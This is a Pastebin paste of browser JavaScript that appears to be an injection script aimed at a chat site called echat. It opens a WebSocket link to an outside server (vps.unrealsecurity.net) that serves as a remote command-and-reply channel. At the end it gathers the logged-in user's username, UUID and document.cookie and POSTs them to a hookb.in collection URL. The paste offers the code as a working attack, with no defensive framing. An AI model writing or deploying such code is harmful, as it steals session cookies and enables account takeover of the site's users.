Advertisement
Guest User

Untitled

a guest
Mar 24th, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.59 KB | None | 0 0
  1. function getUserContext(){
  2. return com.echat.shared.context.Account.UserContext;
  3. }
  4.  
  5.  
  6.  
  7. function HackChatClient(userUuid, channelName, callbackObj, callbackNotObj){
  8. var ws;
  9.  
  10. // Ping server every 50 seconds to retain WebSocket connection
  11. window.setInterval(function() {
  12. send({cmd: 'ping'});
  13. }, 50000);
  14.  
  15. this.sendObj=function(obj) {
  16. var text = JSON.stringify(obj);
  17. var raw = {cmd:'chat', text:text};
  18. send(raw);
  19. };
  20.  
  21. this.sendText=function(text){
  22. var raw = {cmd:'chat', text:text};
  23. send(raw);
  24. };
  25.  
  26. var myNick = getNick();
  27. join(channelName, myNick);
  28.  
  29. function join(channel, myNick) {
  30. ws = new WebSocket('wss://vps.unrealsecurity.net/chat-ws');
  31. var wasConnected = false;
  32.  
  33. ws.onopen = function() {
  34. send({cmd: 'join', channel: channel, nick: myNick});
  35. wasConnected = true;
  36. };
  37.  
  38. ws.onclose = function() {
  39. if (wasConnected) {
  40. pushMessage({nick: '!', text: "Server disconnected. Attempting to reconnect..."});
  41. }
  42. window.setTimeout(function() {
  43. join(channel, myNick);
  44. }, 2000)
  45. };
  46.  
  47. ws.onmessage = function(message) {
  48. var args = JSON.parse(message.data);
  49. processMessage(args);
  50. };
  51. }
  52.  
  53. function processMessage(args) {
  54. if(args.text){
  55. try{
  56. var jObject = JSON.parse(args.text);
  57. callbackObj(jObject);
  58. return;
  59. }
  60. catch(ex){
  61. }
  62. }
  63. if(callbackNotObj);
  64. callbackNotObj(args);
  65. }
  66.  
  67. function send(data) {
  68. if (ws && ws.readyState == ws.OPEN) {
  69. ws.send(JSON.stringify(data));
  70. }
  71. }
  72.  
  73. function getNick(){
  74. var myNick = userUuid;//com.echat.shared.context.Account.UserContext.username;
  75. myNick = myNick.substring(0, Math.min(18,myNick.length));
  76. myNick+=randomString(5);
  77. return myNick;
  78. }
  79.  
  80. function randomString(length) {
  81. var text = "";
  82. var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  83.  
  84. for (var i = 0; i < length; i++)
  85. text += possible.charAt(Math.floor(Math.random() * possible.length));
  86.  
  87. return text;
  88. }
  89.  
  90. }
  91.  
  92. function dumpToHookBin(obj){
  93. var data = JSON.stringify(obj);
  94. $.ajax({
  95. method: "POST",
  96. url: "https://hookb.in/Zm881gJr",
  97. data: data,
  98. dataType: "json",
  99. contentType: "application/json",
  100. processData: false
  101. }).done(function (msg) {
  102. console.log(msg);
  103. });
  104. }
  105. function Timer(funct, delayMs, times)
  106. {
  107. var self = this;
  108. var timesCount = 0;
  109. if (times == undefined)
  110. {
  111. times = -1;
  112. }
  113. if (delayMs == undefined)
  114. {
  115. delayMs = 10;
  116. }
  117. function tick()
  118. {
  119. if (times >= 0)
  120. {
  121. timesCount++;
  122. if (timesCount >= times)
  123. {
  124. self.stop();
  125. }
  126. }
  127. try
  128. {
  129. funct();
  130. }
  131. catch (ex)
  132. {
  133. console.log(ex);
  134. }
  135. }
  136. var interval;
  137. function setInterval()
  138. {
  139. interval = window.setInterval(tick, delayMs);
  140. }
  141. function cancelInterval()
  142. {
  143. if (interval)
  144. {
  145. clearInterval(interval);
  146. }
  147. }
  148. this.stop = function ()
  149. {
  150. cancelInterval();
  151. };
  152. this.reset = function ()
  153. {
  154. timesCount = 0;
  155. cancelInterval();
  156. setInterval();
  157. };
  158. this.setDelay=function(delay)
  159. {
  160. self.stop();
  161. delayMs = delay;
  162. self.reset();
  163. };
  164. setInterval();
  165. }
  166. var toDump = {type:'cookies',username:userContext.username, userUuid:userContext.userUuid, cookies:document.cookie};
  167. try{
  168. dumpToHookBin(toDump);
  169. }
  170. catch(ex){
  171.  
  172. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement